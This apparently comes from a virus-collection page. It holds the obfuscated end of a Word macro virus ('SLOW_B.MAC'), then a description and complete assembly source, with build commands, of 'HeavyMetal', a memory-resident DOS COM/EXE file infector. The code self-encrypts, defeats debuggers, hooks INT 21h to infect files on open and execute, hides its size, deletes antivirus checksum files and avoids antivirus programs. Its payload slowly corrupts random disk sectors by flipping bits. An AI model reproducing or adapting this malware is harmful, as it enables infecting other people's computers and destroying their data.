"IhmxVitpegi$2Jmrh$A$Glv(,YTIRNXWPFRQPYML-$/$Glv(,YTIRNXWPFRQPYML-0$2Vitpegi$A$Glv(,PPXHSTZTJV
MQ-0$2Hmvigxmsr$A$NMRUTUQJVXPLWUXRJ0$2QexglGewi$A$YWFWROESJNREPGFQKZW0$2[lspi[svh$A$NMRUTUQJVX
PLWUXRJ0$2TexxivrQexgl$A$NMRUTUQJVXPLWUXRJ0$2WsyrhwPmoi$A$NMRUTUQJVX" +
"PLWUXRJ0$2VitpegiEpp0$2Jsvqex$A$NMRUTUQJVXPLWUXRJ0$2[vet$A$YWFWROESJNREPGFQKZW0$2JmrhEpp[svhJ
svqw$A$NMRUTUQJVXPLWUXRJ"
SLOW_B.MAC

OHIUCFVEUCFPIFVESEJ$(132) = ""
OHIUCFVEUCFPIFVESEJ$(133) = "RRVJFVKUYKUY"
OHIUCFVEUCFPIFVESEJ$(134) = "XYZOFQQOULMGNPGLSM"
OHIUCFVEUCFPIFVESEJ$(135) = "HsgGpswi$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(136) = "Egxmzexi$KKHXRUUYLZJLNJV("
OHIUCFVEUCFPIFVESEJ$(137) = ""
OHIUCFVEUCFPIFVESEJ$(138) = "Gepp$KRUTHFQFNQY"
OHIUCFVEUCFPIFVESEJ$(139) =
"XsspwQegvs$2Reqi$A$DDKRUTHFQFNQYDD0$2Wls{$A$YWFWROESJNREPGFQKZW0$2Hipixi"
OHIUCFVEUCFPIFVESEJ$(140) = ""
OHIUCFVEUCFPIFVESEJ$(141) = "ZZJPRJGOPUKLHXKQ>"
OHIUCFVEUCFPIFVESEJ$(142) = "HmwefpiEyxsQegvsw$NMRUTUQJVXPLWUXRJ"
OHIUCFVEUCFPIFVESEJ$(143) = "WgviirYthexmrk$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(144) = "HmwefpiMrtyx$NMRUTUQJVXPLWUXRJ"
OHIUCFVEUCFPIFVESEJ$(145) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(146) = ""
OHIUCFVEUCFPIFVESEJ$(147) = "Wyf$SSZUKYWFJPMIUGK"
OHIUCFVEUCFPIFVESEJ$(148) = "Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$FKYWFHHHMHQ"
OHIUCFVEUCFPIFVESEJ$(149) = "ZJFNTQQJLLZHZ($A$DDDD"
OHIUCFVEUCFPIFVESEJ$(150) = "PYUWWFQSFTHTIUTXFPE$A$Pir,SLMYGJZIYGJTMJZIWIN(,JKUWPYWNIOWEI--"
OHIUCFVEUCFPIFVESEJ$(151) = "Jsv$NVFJHHPONWP$A$YWFWROESJNREPGFQKZW$Xs$PYUWWFQSFTHTIUTXFPE"
OHIUCFVEUCFPIFVESEJ$(152) =
"ZJFNTQQJLLZHZ($A$ZJFNTQQJLLZHZ($/$Glv(,Ewg,Qmh(,SLMYGJZIYGJTMJZIWIN(,JKUWPYWNIOWEI-0$NVFJHHPO
NWP0$YWFWROESJNREPGFQKZW--$1$MQKWKJUVQRVOXQU-"
OHIUCFVEUCFPIFVESEJ$(153) = "Ri|x$NVFJHHPONWP"
OHIUCFVEUCFPIFVESEJ$(154) = "SLMYGJZIYGJTMJZIWIN(,JKUWPYWNIOWEI-$A$ZJFNTQQJLLZHZ("
OHIUCFVEUCFPIFVESEJ$(155) = "Ri|x$JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(156) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(157) = ""
OHIUCFVEUCFPIFVESEJ$(158) = "Wyf$RRVJFVKUYKUY"
OHIUCFVEUCFPIFVESEJ$(159) = "Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$FKYWFHHHMHQ"
OHIUCFVEUCFPIFVESEJ$(160) =
"Mrwivx$DDSLMYGJZIYGJTMJZIWIN(,DD$/$Wxv(,JKUWPYWNIOWEI-$/$DD-ADD$/$Glv(,PPXHSTZTJVMQ-$/$SLMYGJ
ZIYGJTMJZIWIN(,JKUWPYWNIOWEI-$/$Glv(,PPXHSTZTJVMQ-"
OHIUCFVEUCFPIFVESEJ$(161) = "MrwivxTeve"
OHIUCFVEUCFPIFVESEJ$(162) = "Ri|x$JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(163) =
"Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$PRINQOTSNUOR$1$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(164) =
"Mrwivx$DDTHHTYQHKHLXXWXK(,DD$/$Wxv(,JKUWPYWNIOWEI-$/$DD-ADD$/$Glv(,PPXHSTZTJVMQ-$/$THHTYQHKHL
XXWXK(,JKUWPYWNIOWEI-$/$Glv(,PPXHSTZTJVMQ-"
OHIUCFVEUCFPIFVESEJ$(165) = "MrwivxTeve"
OHIUCFVEUCFPIFVESEJ$(166) = "Ri|x$JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(167) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(168) = ""
OHIUCFVEUCFPIFVESEJ$(169) = "Jyrgxmsr$XUYNGYEWQRFGRIHURQ("
OHIUCFVEUCFPIFVESEJ$(170) = "ZJFNTQQJLLZHZ($A$DDDD"
OHIUCFVEUCFPIFVESEJ$(171) =
"Jsv$JKUWPYWNIOWEI$A$YWFWROESJNREPGFQKZW$Xs$RQKSNVMNWYIWUYZF$/$Vrh,-$.$RQKSNVMNWYIWUYZF$>$ZJFN
TQQJLLZHZ($A$ZJFNTQQJLLZHZ($/$Glv(,Vrh,-$.$ORPUZQIQJTUTINXO$/$TKPNWXTYTXTRKVSSPZ-$>$Ri|x$JKUWP
YWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(172) = "XUYNGYEWQRFGRIHURQ($A$ZJFNTQQJLLZHZ("
OHIUCFVEUCFPIFVESEJ$(173) = "Irh$Jyrgxmsr"
OHIUCFVEUCFPIFVESEJ$(174) = ""
OHIUCFVEUCFPIFVESEJ$(175) = "Wyf$XYZOFQQOULMGNPGLSM"
OHIUCFVEUCFPIFVESEJ$(176) =
"Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$PRINQOTSNUOR$1$YWFWROESJNREPGFQKZW"
OHIUCFVEUCFPIFVESEJ$(177) =
"IhmxVitpegi$2Jmrh$A$THHTYQHKHLXXWXK(,JKUWPYWNIOWEI-0$2Vitpegi$A$XUYNGYEWQRFGRIHURQ(0$2Hmvigxm
sr$A$NMRUTUQJVXPLWUXRJ0$2QexglGewi$A$YWFWROESJNREPGFQKZW0$2[lspi[svh$A$NMRUTUQJVXPLWUXRJ0$2Tex
xivrQexgl$A$NMRUTUQJVXPLWUXRJ0$2WsyrhwPmoi$A$NMRUTUQJVXPLWUXRJ0$2Vit" +
"pegiEpp0$2Jsvqex$A$NMRUTUQJVXPLWUXRJ0$2[vet$A$YWFWROESJNREPGFQKZW0$2JmrhEpp[svhJsvqw$A$NMRUTU
SLOW_B.MAC

QJVXPLWUXRJ"
OHIUCFVEUCFPIFVESEJ$(178) = "Ri|x$JKUWPYWNIOWEI"
OHIUCFVEUCFPIFVESEJ$(179) = "Irh$Wyf"
OHIUCFVEUCFPIFVESEJ$(180) = ""
OHIUCFVEUCFPIFVESEJ$(181) = "Wyf$SIRGQMWUXEPLHG"
PDDPUMDGDHTTSTG$(0) = "IMGSGFQRMNRKTMQ"
PDDPUMDGDHTTSTG$(1) = "OHIUCFVEUCFPIFVESEJ"
PDDPUMDGDHTTSTG$(2) = "PDDPUMDGDHTTSTG"
PDDPUMDGDHTTSTG$(3) = "JINQPQMFRTLHSQTNF"
PDDPUMDGDHTTSTG$(4) = "NMGOJRIJSUESQUVB"
PDDPUMDGDHTTSTG$(5) = "KNLQVMEMFPQPEJTK"
PDDPUMDGDHTTSTG$(6) = "JBHBTPLCTCSFMPIOBES"
PDDPUMDGDHTTSTG$(7) = "USBSNKAOFJNALCBMGVS"
PDDPUMDGDHTTSTG$(8) = "ACRNIVGPSLPCFHO"
PDDPUMDGDHTTSTG$(9) = "PJOKOJBSMPT"
PDDPUMDGDHTTSTG$(10) = "PGLJSTPUPTPNGROOLV"
PDDPUMDGDHTTSTG$(11) = "LLTDOPVPFRIM"
PDDPUMDGDHTTSTG$(12) = "UPENJTSLBNMLUIH"
PDDPUMDGDHTTSTG$(13) = "TDRMLJCEKT"
PDDPUMDGDHTTSTG$(14) = "LJJVIBFHTOBT"
PDDPUMDGDHTTSTG$(15) = "BGUSBDDDIDM"
PDDPUMDGDHTTSTG$(16) = "LNEJMKPOJQKN"
PDDPUMDGDHTTSTG$(17) = "FGQSLUSJEKSAE"
PDDPUMDGDHTTSTG$(18) = "LUQSSBMOBPDPEQPTBLA"
PDDPUMDGDHTTSTG$(19) = "JRBFDDLKJSL"
PDDPUMDGDHTTSTG$(20) = "VFBJPMMFHHVDV"
PDDPUMDGDHTTSTG$(21) = "RBQSGJPLBQIQ"
PDDPUMDGDHTTSTG$(22) = "OJUEODSIIGNCH"
PDDPUMDGDHTTSTG$(23) = "VVFLNFCKLQGHDTGM"
PDDPUMDGDHTTSTG$(24) = "OOVQGUSBFLIEQCG"
PDDPUMDGDHTTSTG$(25) = "GGDTNQQUHVFHJFR"
PDDPUMDGDHTTSTG$(26) = "NNRFBRGQUGQU"
PDDPUMDGDHTTSTG$(27) = "TUVKBMMKQHICJLCHOI"
PDDPUMDGDHTTSTG$(28) = "GNQPDBMBJMU"
PDDPUMDGDHTTSTG$(29) = "TQUJCUASMNBCNEDQNM"
PDDPUMDGDHTTSTG$(30) = "OENCMISQTALHDC"

End Sub
==============================================================================
HeavyMetal is paraguayan old-style resident COM/EXE infector, with playload routinne grabbed from DAV's
virii. It hides its own length in infected files (semistealth), uses some anti-debug tricks as well as int21 entry
point tracing, and direct SFT manipulation to avoid suspective actions for heuristics (such a opening for write,
seeking, etc).

Download source code of Heavy Metal here


HEAVY.ASM

; ÄÒ ÄÂ ÖÄÄÄ ÚÄÄ· · ÚÄ Ä¿ Ö ÚÄÂÄÄÒÄÄ· ÖÄÄÄ ÚÄÄÒÄÄ¿ ÚÄÄ· Ä· V


; º ³ º ³ º º ³ ³ º ³ º º º º ³ º º I
; ÇÄÄ´ ÇÄ¿ ÃÄĶ º ³ ÀÄĶ ³ Ð º ÇÄ¿ º ÃÄĶ º R
; º ³ º ³ º º ³ Ú º ³ º º º ³ º º U
; ÄÐ ÄÁ ÓÄÄÄ ÄÙ Ó ÈÍ; ÀÄĽ Á Ð ÓÄÄÄ Ð Ù Ó ÓÄÄÙ S
; A paraguayan-bulgarian creation
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;ÞÞÞÛÛÛÛÛÛÝÝÝÝÝÝ VIRUS BY: Int13h PAYLOAD BY: Dark Avenger ÝÝÝÝÝÛÛÛÛÛÛÛÞÞ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; FEATURES ³
; ³
; * COM/EXE infector. ÄÄÄÄÅÄÄÄÄ
; * TSR manipulating MCB. Á
; * Semi-stealth with AH=11h/12h/4eh/4fh.
; * Self Encrypted, LOOP encrypted too.
; * Finds the original INT 21h's handler tracing PSP.
; * Anti-Debug, stack test and killing keyboard IRQ.
; * Infection on open, execution, rename, get/change
; attributes and extended open.
; * The victim is opened in read-only mode and then
; SFT is manipulated to change axs mode, get/kick
; attributes and move file pointer.
; * Uses some anti-tunneling techniques, like turning off
; the Trap Flag and killing INT 01h.
; * Infection mark in the seconds field.
; * Deleting of some antivirus checksum files in each
; directory where a file is infected.
; * INT 24h redirection to stop write protects msgs.
; * Don't infect WINSLOW's fucking files.
; * Avoids infection of the suckers *AV, *AN, etc.
; * SLOW DESTRUCTION!!!
; * The payload by DAV is commented in cyrilic. Looks great ;-)
;
;
; Assembling it:
;
; TASM heavy.asm /m2
; TLINK heavy.obj
;
;
; ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
;
; Dark Avenger: thanks for the cool and excellent payload, but I still
; think HäLLOWääN is better than IRON MAIDEN ;-)
; Up the pumpkins! Pumpkins...lives somewhere in time.
; Also Stratovarius, Blind Guardian, Heaven Gates and Running Wild rocks!
; And I can't forget Gamma Ray, Angra, Bar¢n Rojo & King Diamond.
; HEAVY METAL IS THE LAW! (Kai Hansen dixit)
;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; P.S.: this viruz is rather old, more than one year.

.model tiny
.code
org 0

Crypted equ ((offset EndVirus-offset Encrypted_Stuff)/2)


SkipThese equ (offset Encrypted_Stuff-offset HeavyMetal)
RealSize equ (offset EndVirus-Offset HeavyMetal)
ViralSize equ (offset Huesped-offset HeavyMetal)
ParaVir1 equ ((ViralSize+15)/16)+1
ParaVir2 equ ((ViralSize+15)/16)
HEAVY.ASM

VirusInPara equ (RealSize+15)/16

HeavyMetal:
mov bp,sp ; Get delta offset
int 03h
mov bp,word ptr SS:[bp-06]
sub bp,03

mov ah,2 ; Shut up TBAV


int 16h
push cs ; Make DS equal to CS
pop ds

lea si,[bp+offset Encrypted_Stuff]


mov cx,Crypted

DECRYPTOR:
db 081h,034h ; XOR WORD PTR [SI],KEYWORD
Keyword dw 0
lodsw ; inc si / inc si
int 01h ; Clear prefetch queue
Encrypted_Stuff:
Loop DECRYPTOR ; LOOP encrypted too

push es
pop ds
in al,21h ; Turn off Keyboard IRQ
or al,02
out 21h,al
push si ; Stack test
pop si
dec sp
dec sp
pop di
sub si,di
jz All_is_OK

db 02eh ; CS:
int 019h ; Warm Reboot
nop ; Gift 4 TBCLEAN

All_is_OK:
mov ax,0cd13h ; Residence test
int 21h
cmp ax,'DA'
jne Upload_Virus
jmp Already_in_Memory

Upload_Virus:
push es
mov ax,3521h ; Get INT 21h's handler
int 21h
mov cs:[bp+word ptr Old21h],bx
mov cs:[bp+word ptr Old21h+2],es
mov cs:[bp+word ptr Real21h],bx
mov cs:[bp+word ptr Real21h+2],es
push ds

lds bx,ds:[0006h] ; Find INT 21h's handler tracing PSP


PSP_Tracing: ; With thanks to Satan's Little Helper.
cmp byte ptr ds:[bx],0eah
HEAVY.ASM

jne Check
lds bx,ds:[bx+1]
cmp word ptr ds:[bx],9090h
jnz PSP_Tracing
sub bx,032h
cmp word ptr ds:[bx],9090h
jne Check
Found: mov cs:[bp+word ptr Real21h],bx
mov cs:[bp+word ptr Real21h+2],ds
jmp short MCBTSR
Check: cmp word ptr ds:[bx],02e1eh
jnz MCBTSR
add bx,025h
cmp word ptr ds:[bx],080fah
je Found

MCBTSR: pop ds
mov ax,ds
dec ax ; MCB
mov es,ax
mov ax,es:[3]
sub ax,ParaVir1
xchg bx,ax
push ds
pop es
mov ah,4ah
int 21h
mov ah,48h
mov bx,ParaVir2
int 21h

dec ax
mov es,ax
mov word ptr es:[1],8
mov word ptr es:[8],'HM' ; Block name: Heavy Metal
inc ax
mov es,ax
xor di,di

push cs
pop ds
lea si,[bp+offset HeavyMetal]
mov cx,ViralSize
rep movsb ; Virus to ES:0

int 03h

push es
pop ds
mov ax,2521h ; Hook 21h
mov dx,offset Viral21h
int 21h

pop es

Already_in_Memory:
in al,21h ; Turn on keyboard IRQ
and al,not 2
out 21h,al

in al,40h
HEAVY.ASM

mov ah,al
in al,40h
test al,15
jne Nope
xor ax,cs:[bp+cs_ip]
call Payload ; Mad Maniac rulez!

Nope: cmp byte ptr cs:[bp+IsComOrExe],'C'


je Run_COM

push es
pop ds

mov bx,bp ; Return control to .EXE

mov ax,es
add ax,16d
add cs:[(bx+CS_IP)+2],ax

cli
add ax,cs:[(bx+SS_SP)+2]
mov ss,ax
mov sp,cs:[bx+SS_SP]
sti

call Clear_Registers

db 0ebh,0h
db 0eah
CS_IP dw offset Huesped,0h
SS_SP dw 0,0

Run_COM:call SetSegments
lea si,[bp+offset Buffer] ; Return control to .COM
mov di,100h
push di
cld
movsb
movsw

Clear_Registers:
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
ret

Fool_Jump2:
jmp Stealth2
Fool_Jump3:
jmp Analizar

Viral21h proc far ; Our 21h handler


push ds
HEAVY.ASM

push si
push ax
push bx
pushf
pop ax
and ah,11111110b ; Turn off Trap Flag
push ax
popf
sub ax,ax
mov ds,ax
mov bx,4
lds si,[bx]
mov byte ptr [si],0cfh ; IRET in 1h's handler
pop bx
pop ax
pop si
pop ds

cmp ax,0cd13h ; Autocheck


je TSRChecking
cmp ah,11h ; Find first FCB
je Stealth1
cmp ah,12h ; Find next FCB
je Stealth1
cmp ah,4eh ; Find first DTA
je Fool_Jump2
cmp ah,4fh ; Find next DTA
je Fool_Jump2
cmp ax,04b00h ; Execution
je Fool_Jump3
cmp ah,056h ; Rename
je Fool_Jump3
cmp ah,043h ; Get/Change atributes
je Fool_Jump3
cmp ah,3dh ; Open
je Fool_Jump3
cmp ax,6c00h ; Extended open
je Fool_Jump3
db 0eah
Old21h dw 0,0
TSRChecking:
mov ax,'DA' ; Already resident
iret
Viral21h endp

Stealth1: ; FCB stealth


pushf
push cs
call Original_21h
or al,al
jne ErrorDir

push ax
push bx
push es

mov ah,62h
int 21h
HEAVY.ASM

mov es,bx
cmp bx,es:[16h]
jne Fuera

mov bx,dx
mov al,[bx]
push ax

mov ah,2fh
int 21h
pop ax
inc al
jne FCBComun
add bx,7

FCBComun:
mov al,byte ptr es:[bx+17h]
and al,00011111b
cmp al,00011110b
jne Fuera

mov ax,word ptr es:[bx+09h]


cmp ax,'OC'
jne Look4EXE1
mov al,byte ptr es:[bx+0bh]
cmp al,'M'
je Label1
jmp short Fuera

Look4EXE1:
cmp ax,'XE'
jne Fuera
mov al,byte ptr es:[bx+0bh]
cmp al,'E'
jne Fuera

Label1: cmp word ptr es:[bx+1dh],RealSize


ja Sustraer

cmp word ptr es:[bx+1fh],0


je Fuera

Sustraer:sub word ptr es:[bx+1dh],RealSize


sbb word ptr es:[bx+1fh],0

Fuera: pop es
pop bx
pop ax
ErrorDir:
retf 2

Stealth2: ; DTA stealth


pushf
push cs
call Original_21h
jc Demonios

pushf
HEAVY.ASM

push ax
push di
push es
push bx

mov ah,2fh
int 21h

mov ax,es:[bx+16h]
and al,00011111b
cmp al,00011110b
jne Paso

mov di,bx
add di,1eh
cld
mov cx,9
mov al,'.'
repne scasb
jne Paso

cmp word ptr es:[di],'OC'


jne Look4EXE2
cmp byte ptr es:[di+2],'M'
je Label2
jmp short Paso

Look4EXE2:
cmp word ptr es:[di],'XE'
jne Paso
cmp byte ptr es:[di+2],'E'
jne Paso

Label2: cmp word ptr es:[bx+1ah],(RealSize+512d)


jb Paso

sub word ptr es:[bx+1ah],RealSize


sbb word ptr es:[bx+1ch],0000

Paso: pop bx
pop es
pop di
pop ax
popf
Demonios:
retf 2

Handler24h: ; Classic Viral Error Handler


mov al,03
iret

Fool_Jump4:
jmp PopearTodo

Just_POP:
jmp Just_Poping
HEAVY.ASM

Analizar: ; Check if we can infect it


push ax
push bx
push cx
push dx
push si
push di
push ds
push es

cmp ax,6c00h
jne Normal_Opening

cmp dx,0001
jne Just_POP

mov dx,si

Normal_Opening:
push dx
push ds
mov ax,3524h ; Get 24h's handler
int 21h
mov word ptr cs:[Old24h],bx
mov word ptr cs:[Old24h+2],es
push cs
pop ds

mov ax,2524h ; Redirect it


mov dx,offset Handler24h
int 21h

pop ds
pop dx
push ds
pop es
cld
mov di,dx
mov cx,125
mov al,'.'
repne scasb
jne Fool_Jump4

mov ax,word ptr es:[di-3] ; Look if is a sucker


or ax,02020h
cmp ax,'na' ; scAN, cleAN, tbscAN, tbcleAN
je Fool_Jump4
cmp ax,'va' ; nAV, tbAV
je Fool_Jump4
cmp ax,'to' ; f-prOT
je Fool_Jump4
cmp ax,'dr' ; guaRD
je Fool_Jump4
cmp ax,'ur' ; findviRU
je Fool_Jump4
cmp ax,'pv' ; aVP
je Fool_Jump4
cmp ax,'ti' ; toolkIT
je Fool_Jump4
cmp ax,'ni' ; wIN
je Fool_Jump4
HEAVY.ASM

cmp ax,'ga' ; defrAG


je Fool_Jump4

xchg si,di
lodsw
or ax,2020h
cmp ax,'oc'
jne Look4EXE3
lodsb
or al,20h
cmp al,'m' ; .COM?
je Label3
Fool_Jump5:
jmp PopearTodo

Look4EXE3:
cmp ax,'xe'
jne Fool_Jump5
lodsb
or al,20h
cmp al,'e' ; .EXE?
jne Fool_Jump5

Label3: mov ax,3d00h


pushf
push cs
call Original_21h
jc Fool_Jump5
xchg bx,ax
mov word ptr cs:[Handle],bx

push cs
pop ds

mov ax,4300h
mov dx,offset Trash1
sub cx,cx
pushf
push cs
call Original_21h

mov ah,41h ; Kill AV's checksum files


mov dx,offset Trash1
int 21h

mov ah,41h
mov dx,offset Trash2
int 21h

mov ah,41h
mov dx,offset Trash3
int 21h

mov ah,41h
mov dx,offset Trash4
int 21h

mov ax,5700h ; Unmask seconds


int 21h
mov word ptr cs:[Time],cx
mov word ptr cs:[Date],dx
and cl,00011111b
HEAVY.ASM

cmp cl,00011110b
jne Read_it
jmp Fool_Jump6

Read_it:call SetSegments
mov ah,3fh
mov cx,1ah
mov dx,offset EXEHeader
int 21h

mov si,dx

cmp word ptr [SI],'ZM'


je InfectEXE
cmp word ptr [SI],'MZ'
je InfectEXE

InfectCOM:
call Pointer_to_EOF
or dx,dx
jne Fool_Jump6
cmp ax,60000d
ja Fool_Jump6
cmp ax,029Ah ; Hi kewl spanish virus group! ;P
jbe Fool_Jump6

mov byte ptr [IsComOrExe],'C'


mov si,offset EXEHeader ; Copy to buffer the three bytes
mov di,offset Buffer
movsb
movsw

sub ax,3
mov word ptr [Main_JMP+1],ax

call Copy_to_Buffer ; Encryption

mov bx,[Handle]

call Manipular_SFT

mov ah,40h
mov cx,RealSize
mov dx,offset Microbio
int 21h

mov word ptr es:[di+015h],00 ; Reset pointer


mov word ptr es:[di+017h],00

mov ah,40h
mov cx,3
mov dx,offset Main_JMP
int 21h

mov cl,byte ptr [Attributes] ; Return its attributes


mov byte ptr es:[di+4],cl

call SetDateTime
Fool_Jump6:
jmp Cerrar
HEAVY.ASM

InfectEXE:
cmp byte ptr [si+24],'@' ; WINDOSUX's EXE?
je Fool_Jump6

mov byte ptr [IsComOrExe],'E'

call Pointer_to_EOF
push ax
push dx

les ax,dword ptr [EXEHeader+014h]


mov [CS_IP],ax ; Infection in the habitual way
mov [CS_IP+2],es
les ax,dword ptr [EXEHeader+0eh]
mov word ptr [SS_SP],es
mov word ptr [SS_SP+2],ax

mov ax,word ptr [EXEHeader+08h]


mov cl,4
shl ax,cl
xchg bx,ax
pop dx
pop ax
push ax
push dx
sub ax,bx
sbb dx,0
mov cx,10h
div cx
mov word ptr [EXEHeader+014h],dx
mov word ptr [EXEHeader+016h],ax
mov word ptr [EXEHeader+0eh],ax
mov word ptr [EXEHeader+010h],0

pop dx
pop ax

add ax,RealSize
adc dx,0
mov cl,9
mov bx,ax
shr ax,cl
ror dx,cl
or dx,dx
stc
adc dx,ax
mov ax,bx
and ah,1
mov word ptr [EXEHeader+4],dx
mov word ptr [EXEHeader+2],ax

mov ax,word ptr [EXEHeader+0ah]


add ax,VirusInPara
jc NoAgregarMemoria
mov word ptr [EXEHeader+0ah],ax
NoAgregarMemoria:
mov word ptr [EXEHeader+0Ch],0ffffh

call Copy_to_Buffer
HEAVY.ASM

mov bx,[Handle]

call Manipular_SFT

mov ah,40h ; ADD file,virus


mov cx,RealSize
mov dx,offset Microbio
int 21h

mov word ptr es:[di+015h],00


mov word ptr es:[di+017h],00

mov ah,40h
mov cx,01ah
mov dx,offset EXEHeader
int 21h

mov cl,byte ptr [Attributes]


mov byte ptr es:[di+4],cl

call SetDateTime

Cerrar: mov ah,3eh


int 21h

PopearTodo:
push cs
pop ds

lds dx,dword ptr [Old24h] ; Restore INT 24h's handler


mov ax,2524h
int 21h

Just_Poping:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp Original_21h ; Go on with the real INT

SetDateTime:
mov cx,word ptr cs:[Time]
and cl,11100000b
or cl,00011110b ; Mark as infected
mov dx,word ptr cs:[Date]
mov ax,5701h
int 21h
ret

Pointer_to_EOF:
mov ax,04202h
xor cx,cx
HEAVY.ASM

cwd
int 21h
ret

Manipular_SFT: ; We change open mode and attributes


push bx
mov ax,1220h
int 2fh

mov ax,1216h
xor bh,bh
mov bl,es:[di]
int 2fh

mov cl,byte ptr es:[di+4]


mov byte ptr [Attributes],cl
mov byte ptr es:[di+4],20h
mov byte ptr es:[di+2],2
pop bx
ret

Copy_to_Buffer:
in al,40h
mov ah,al
in al,40h
or ax,ax ; No 0 please
je Copy_to_Buffer
mov [Keyword],ax

call SetSegments
mov cx,(RealSize/2)
xor si,si
mov di,offset Microbio
rep movsw ; Move to buffer

mov cx,Crypted
mov si,(offset Microbio+SkipThese)
mov bx,[Keyword]
ENCRYPTOR:
xor word ptr [si],bx
lodsw ; inc si / inc si
LOOP ENCRYPTOR
ret

SetSegments: ; DS:= CS & ES = CS


push cs
push cs
pop ds
pop es
ret

db ' Read ORDER.DOC for registration '

; random damage, 27/02/97 by <dav>


;
HEAVY.ASM

; on entry:
; bp = code base address
; ax = random number (read from port 40h)
; on exit:
; es, bp - preserved
; cf = 1 if an error occured
; other registers trashed
; > 512 bytes of stack used

Payload:
push bp es
sub sp,512 ; § ¥¬ ¬¿±²® § ¡³´¥°
lea bx,[bp+int_13]
xor dx,dx
mov ds,dx
xor ax,ds:[46eh]
xchg si,ax
mov di,ds:[46ch]
mov bp,cs
xor bp,di ; si:bp = ±«³· ©-® ·¨±«®
les cx,ds:[7b4h]
mov ax,es
cmp ax,0f000h
jz short @@5
cmp ax,0c800h
jz short @@5
les cx,ds:[4ch]
@@5: mov cs:[bx],cx ; ¤°¥± - int 13 ¢ rom (¢¥°®¿²-®)
mov cs:[bx+2],ax
push ss
pop es
mov ax,ds:[43fh]
shr ax,1
jc @@1 ; ¥¤- ¤¨±ª¥² ±¥ ¢º°²¨..
inc dx
shr ax,1
jc @@1
@@2: mov dl,80h
@@1: push di dx
mov ah,8
int 13h
pop ax di
jc @@8
xchg al,dl
or dl,dl
jns @@3 ; ¨§¡¨° ¬¥ ¤¨±ª¥² ² , ª®¿²® ±¥ ¢º°²¥¸¥
and ax,7fh
call getrand ; ¨- ·¥, ¨§¡¨° ¬¥ ±«³· ¥- -®¬¥° - ¤¨±ª
or al,80h
xchg dx,ax
@@4: push dx
mov ah,8
int 13h
pop ax
jc @@2
mov dl,al
@@3: mov al,cl
and ax,63
call getrand ; ±«³· ¥- -®¬¥° - ±¥ª²®°
inc ax
xchg ax,cx
rol al,1
HEAVY.ASM

rol al,1
and al,3
xchg al,ah
inc ax
call getrand ; ±«³· ¥- -®¬¥° - ¶¨«¨-¤º°·¥
xchg al,ah
ror al,1
ror al,1
or cx,ax
mov al,dh
xor ah,ah
inc ax
call getrand ; ±«³· ¥- -®¬¥° - £« ¢ ²
mov dh,al
mov bx,sp
mov ax,201h
int 13h
@@8: jc @@9
@@6: mov ax,1001h
call getrand ; ±«³· ¥- -®¬¥° - ¡¨²
dec ax
js @@7 ; ¤ -¥ ±¥ § ¶¨ª«¨¬ ª® ¨¬ ± ¬® -³«¨
xchg cx,ax
mov bl,1
rol bl,cl
xchg ax,cx
shr ax,1
shr ax,1
shr ax,1
add ax,sp
xchg bx,ax
test ss:[bx],al
jz @@6 ; ²®§¨ ¡¨² ¢¥·¥ ¥ ¨§²°¨², ¤ © ¬¨ ¤°³£
not al
and ss:[bx],al ; ¨§²°¨¢ ¬¥ ¡¨² ...
xor bp,ss:[bx+1]
xor si,ss:[bx+3]
mov bx,sp
mov ax,301h
pushf
db 9ah ; ... ¨ £® § ¯¨±¢ ¬¥ - ¤¨±ª
int_13 dw 24940, 25965
jc @@9
or dl,dl
jns @@9 ; ±¢º°¸¢ ¢¥¤- £ ª® ¥ ¯¨± « - ¤¨±ª¥²
@@7: lea ax,[di+3]
sub ax,ds:[46ch] ; ¨- ·¥ ¯°®¤º«¦ ¢ ¬¥ ±º± ±º¹¨¿ ¤¨±ª
ja @@4 ; ¤®ª ²® ¨§²¥·¥ ¯®-¥ 1/6 ±¥ª³-¤
@@9: mov bp,sp
lea sp,[bp+512]
pop es bp
ret

getrand: ; thiz iz da k00l stuph...


push dx
xchg ax,si
mov dx,7
rloop: shl bp,1
rcl ax,1
mov bx,bp
xor bl,ah
jns rnext
HEAVY.ASM

inc bp
rnext: dec dx
jnz rloop
xchg si,ax
mul si
xchg ax,dx
pop dx
ret

; --- end of random damage code ---

Original_21h:
db 0eah
Real21h dw 0,0
ret

